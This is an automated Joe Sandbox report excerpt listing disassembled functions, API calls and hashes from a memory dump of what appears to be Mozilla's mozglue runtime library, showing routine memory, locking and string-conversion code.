ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED653F
free.MOZGLUE(?), ref: 6CED655A

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: a4569809e33234da51ef1bf6fd6f4340fc564c125c180fa9b8ffd52931d88ae8
Instruction ID: 32c91fb367f7a808642ae763bfdb739d8a6e437fddaf5ea8561ce0699ff8ba87
Opcode Fuzzy Hash: a4569809e33234da51ef1bf6fd6f4340fc564c125c180fa9b8ffd52931d88ae8
Instruction Fuzzy Hash: D7317EB5A043059FD704CF24D884A9ABBF4FF89314F11482EE89A97741DB74F919CB92

Function 6CECFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CEED019,?,?,?,?,?,00000000,?,6CEDDA31,00100000,?), ref: 6CECFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CEED019,?,?,?,?,?,00000000,?,6CEDDA31,00100000,?,?), ref: 6CECFFF5
free.MOZGLUE(?,?,?,?,?,6CEED019,?,?,?,?,?,00000000,?,6CEDDA31,00100000,?), ref: 6CED001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CEED019,?,?,?,?,?,00000000,?,6CEDDA31,00100000,?,?), ref: 6CED002A

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a2d48665120463b0ccc375ce851415ac1100f94d616224adda9bfb81be46aec8
Instruction ID: 7e75a49d4111c673e0067f9d73dc2e97f68e40c7734b2cb70ca3f5e3ad77946d
Opcode Fuzzy Hash: a2d48665120463b0ccc375ce851415ac1100f94d616224adda9bfb81be46aec8
Instruction Fuzzy Hash: 8721D8B2F002155FC7089E78DC954AFB7BAEB853247350738E425D7780EA70AD0286D2

Function 6CEAB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEAB4F5
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEAB502
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEAB542
free.MOZGLUE(?), ref: 6CEAB578

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d683e9693d7c3abd3c8f413d8edfc31f6b4bcd6ab248dd05de2d121e01517ae2
Instruction ID: a5cf38b43f494830f226a348d30444aa201a81c87459ab45572d3d07a615118a
Opcode Fuzzy Hash: d683e9693d7c3abd3c8f413d8edfc31f6b4bcd6ab248dd05de2d121e01517ae2
Instruction Fuzzy Hash: B911C030D14B45CBD3528F69C5007A1B3B2FFA6318F21570AE84957F01EBB1B5C68790

Function 6CED3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CE9F20E,?), ref: 6CED3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CE9F20E,00000000,?), ref: 6CED3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CED3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CED3E0E

Part of subcall function 6CECCC00: GetCurrentProcess.KERNEL32(?,?,6CE931A7), ref: 6CECCC0D
Part of subcall function 6CECCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CE931A7), ref: 6CECCC16

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 746b748a99f0bfc36f16f6a569b434e4c8517faf7c4cec2d729d5fe3f923c7ac
Instruction ID: e10f6e43fabd1635b0d89f8a950ad471f0726d498613412f4862a83d7da0edb3
Opcode Fuzzy Hash: 746b748a99f0bfc36f16f6a569b434e4c8517faf7c4cec2d729d5fe3f923c7ac
Instruction Fuzzy Hash: BAF082B1A102087FD700AB54DC42EAB373CDB46624F060024FD0857B40D635BD2686F7

Function 6CEE20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEE20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CECFBD1), ref: 6CEE20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CECFBD1), ref: 6CEE20DA
free.MOZGLUE(00000000,?,6CECFBD1), ref: 6CEE20F1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 21e0001fdb9e4a17603cfcd0a8574684a88f069c2bc518256e11eea74e424656
Instruction ID: 35ecca1f8f56a1b708b0495d06b217472caaeddcbfac88627c58671d2650447e
Opcode Fuzzy Hash: 21e0001fdb9e4a17603cfcd0a8574684a88f069c2bc518256e11eea74e424656
Instruction Fuzzy Hash: 84E0E571A00615CBC6209F25D80968EBBF9FF9A258B21062EE406C3B00D775B54687D5

Function 6CEE85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CEE85D3

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CEE8725

Strings

map/set<T> too long, xrefs: 6CEE8720

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 91b0157ab73784e88ecc92031dd041435c2227c4296ccdab502e8fa212a321b2
Instruction ID: 95ff645a8bdc96b467a4b59a7c0c53f6c186362a2ffda7d6758bda17b1ea5a0c
Opcode Fuzzy Hash: 91b0157ab73784e88ecc92031dd041435c2227c4296ccdab502e8fa212a321b2
Instruction Fuzzy Hash: 245176B4600642CFD711CF18C184B56BBF1BF5A358F28C29AD8599BB52C375E885CF92

Function 6CE9BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CE9BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CE9BE8F

Strings

0, xrefs: 6CE9BE5B

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 7034a6d04f0b9d987c84b109097acea293e7a39647645aecb66ca9ba34133936
Instruction ID: 95c285722e54fd687b5a94c8fb6d20db014532db8ae614859d1e8f4748132239
Opcode Fuzzy Hash: 7034a6d04f0b9d987c84b109097acea293e7a39647645aecb66ca9ba34133936
Instruction Fuzzy Hash: 5341C071D09749CFC721CF38C481A9BB7F8AF8A348F204A1DF985A7621D730D9498B82

Function 6CED3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CED3D19
mozalloc_abort.MOZGLUE(?), ref: 6CED3D6C

Strings

d, xrefs: 6CED3D58

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 4a60a6868852122bdab7b4e3e06353164129992e2c80f548e6c9a24936a0dbbf
Instruction ID: dd14ff8b6cb5359a6ed9ebec40300f073ab6c6f6fd0c8956d3238a697d932d68
Opcode Fuzzy Hash: 4a60a6868852122bdab7b4e3e06353164129992e2c80f548e6c9a24936a0dbbf
Instruction Fuzzy Hash: 91112335E14788DBDB008F69CC155EDB775EF86318B56821CEC45ABB02EB30B586CB90

Function 6CEA4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CEA44B2,6CF1E21C,6CF1F7F8), ref: 6CEA473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CEA474A

Strings

GetNtLoaderAPI, xrefs: 6CEA4744

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3b4ca7a3c6708cff2d8e37760e3e2306e83f134852646cb9f3cac21aa4c80c4e
Instruction ID: c1e03381de456b48fafc21857a7c37b7705dd634e62c6e8b006aeb0db88708e6
Opcode Fuzzy Hash: 3b4ca7a3c6708cff2d8e37760e3e2306e83f134852646cb9f3cac21aa4c80c4e
Instruction Fuzzy Hash: A501B576B103548FDF809FA5C859B1D7BF9EB4B321B15446AE905CBB00CB74D8028F91

Function 6CEF6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CEF6E22
__Init_thread_footer.LIBCMT ref: 6CEF6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CEF6E1D

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 7faa7f8c24ce986e17e6248fb47f346e668e43bb39a66027667b00772e85c1d9
Instruction ID: 1fd390b20785acff8ed6ff4642b5fc6f7d58ae1a50e27b5fcd654521e433981d
Opcode Fuzzy Hash: 7faa7f8c24ce986e17e6248fb47f346e668e43bb39a66027667b00772e85c1d9
Instruction Fuzzy Hash: 75F09E3AB49240DFDF808B68C952B817775535331CF250165C42987F61C732BB07CA93

Function 6CEA9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CEA9EEF

Strings

Infinity, xrefs: 6CEA9EB7
NaN, xrefs: 6CEA9EC1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: f0424461d88874974f2502301a54ca09e323de6069c91faf641f6bc4cea35d8e
Instruction ID: a7d97aff245a2656d9bc415fdd009b7931afb534f47c304d2c02bbb8024332ae
Opcode Fuzzy Hash: f0424461d88874974f2502301a54ca09e323de6069c91faf641f6bc4cea35d8e
Instruction Fuzzy Hash: DFF0A9B0F38642CBDBC08F98D94BBA0B3B1B317718F224A19C5080AF42D7366546CA82

Function 6CEA6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kl,?,6CED4B30,80000000,?,6CED4AB7,?,6CE943CF,?,6CE942D2), ref: 6CEA6C42

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

moz_xmalloc.MOZGLUE(0Kl,?,6CED4B30,80000000,?,6CED4AB7,?,6CE943CF,?,6CE942D2), ref: 6CEA6C58

Strings

0Kl, xrefs: 6CEA6C33, 6CEA6C41, 6CEA6C57

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kl
API String ID: 1967447596-3488275091
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 5fbbc2dbae492abfece6693188c3c051dac6a2a9870e937af08c0b0d921156b5
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: C9E026F1B501002E9B0898FC9C0D62A71ECCB167A87244A39E827CEBC8FA15E4828051

Function 6CEABED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CEABEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CEABEF5

Strings

cryptbase.dll, xrefs: 6CEABEF0

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 42e148570fd209d5737c178c1c5163b1ef5e6eb849709af1a82565be97525811
Instruction ID: f181db7e19f8623bf88ad781089b330f5f2435c54f99bc2302c284757e145f4c
Opcode Fuzzy Hash: 42e148570fd209d5737c178c1c5163b1ef5e6eb849709af1a82565be97525811
Instruction Fuzzy Hash: A6D0C73159410CEED6406B908D06B553B749702719F20C425F75598E51D7B19851CF94

Function 6CE950E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CE94E9C,?,?,?,?,?), ref: 6CE9510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CE94E9C,?,?,?,?,?), ref: 6CE95167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CE95196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CE94E9C), ref: 6CE95234

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: f58276b23596732f59400dd66ced978916b88dbe7090309e7a7bde543bff2237
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 58918C75506616CFCB14CF09C490A5ABBB1BF8A318B29868CEC589B715D371FC42CBE1

Function 6CED08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E7DC), ref: 6CED0918
LeaveCriticalSection.KERNEL32(6CF1E7DC), ref: 6CED09A6
EnterCriticalSection.KERNEL32(6CF1E7DC,?,00000000), ref: 6CED09F3
LeaveCriticalSection.KERNEL32(6CF1E7DC), ref: 6CED0ACB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8a604535c4e47b04efa5d56d1b588cbe19d98425f849c2a794b363f0aa60d8d0
Instruction ID: 74323d74f60f652c09a8b04267ff4dc1dc326da4e5a800f30f314dae236dd696
Opcode Fuzzy Hash: 8a604535c4e47b04efa5d56d1b588cbe19d98425f849c2a794b363f0aa60d8d0
Instruction Fuzzy Hash: FF51F332B116508BEB489A69840576573B1EBC2B3873B462AD97997F80DA31F80386C1

Function 6CEEB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CEEB2C9,?,?,?,6CEEB127,?,?,?,?,?,?,?,?,?,6CEEAE52), ref: 6CEEB628

Part of subcall function 6CEE90E0: free.MOZGLUE(?,00000000,?,?,6CEEDEDB), ref: 6CEE90FF
Part of subcall function 6CEE90E0: free.MOZGLUE(?,00000000,?,?,6CEEDEDB), ref: 6CEE9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CEEB2C9,?,?,?,6CEEB127,?,?,?,?,?,?,?,?,?,6CEEAE52), ref: 6CEEB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CEEB2C9,?,?,?,6CEEB127,?,?,?,?,?,?,?,?,?,6CEEAE52), ref: 6CEEB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CEEB127,?,?,?,?,?,?,?,?), ref: 6CEEB74D

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 152fd35604d919bbfe1a4361aba868260af6e64261783d1fcf4801cdf9b23690
Instruction ID: 4c435f0ddbeafb443f15422578904c2309c56516802a3d2b10073d9547172535
Opcode Fuzzy Hash: 152fd35604d919bbfe1a4361aba868260af6e64261783d1fcf4801cdf9b23690
Instruction Fuzzy Hash: C651EDB1E013168FDB14CF59C98076EB7B5FF49388F65862DC85AABB00D730A804CBA5

Function 6CEEDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CEDFF2A), ref: 6CEEDFFD

Part of subcall function 6CEE90E0: free.MOZGLUE(?,00000000,?,?,6CEEDEDB), ref: 6CEE90FF
Part of subcall function 6CEE90E0: free.MOZGLUE(?,00000000,?,?,6CEEDEDB), ref: 6CEE9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CEDFF2A), ref: 6CEEE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CEDFF2A), ref: 6CEEE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CEDFF2A), ref: 6CEEE0FE

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 493fdd933580d8f3a8e93fd85637e101adbc25907bf8634610ed66c20c6210b9
Instruction ID: 9553fdab3f41d51ea5c25317babbf55dea3b1d038efd76216d96e4ccda960094
Opcode Fuzzy Hash: 493fdd933580d8f3a8e93fd85637e101adbc25907bf8634610ed66c20c6210b9
Instruction Fuzzy Hash: 3741E3B1604A168FEB14CF68C89035A73B2BF4A348F354939D516DBB40E732E945CBD2

Function 6CEE6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CEE6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CEE6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CEE6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEE6F5C

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

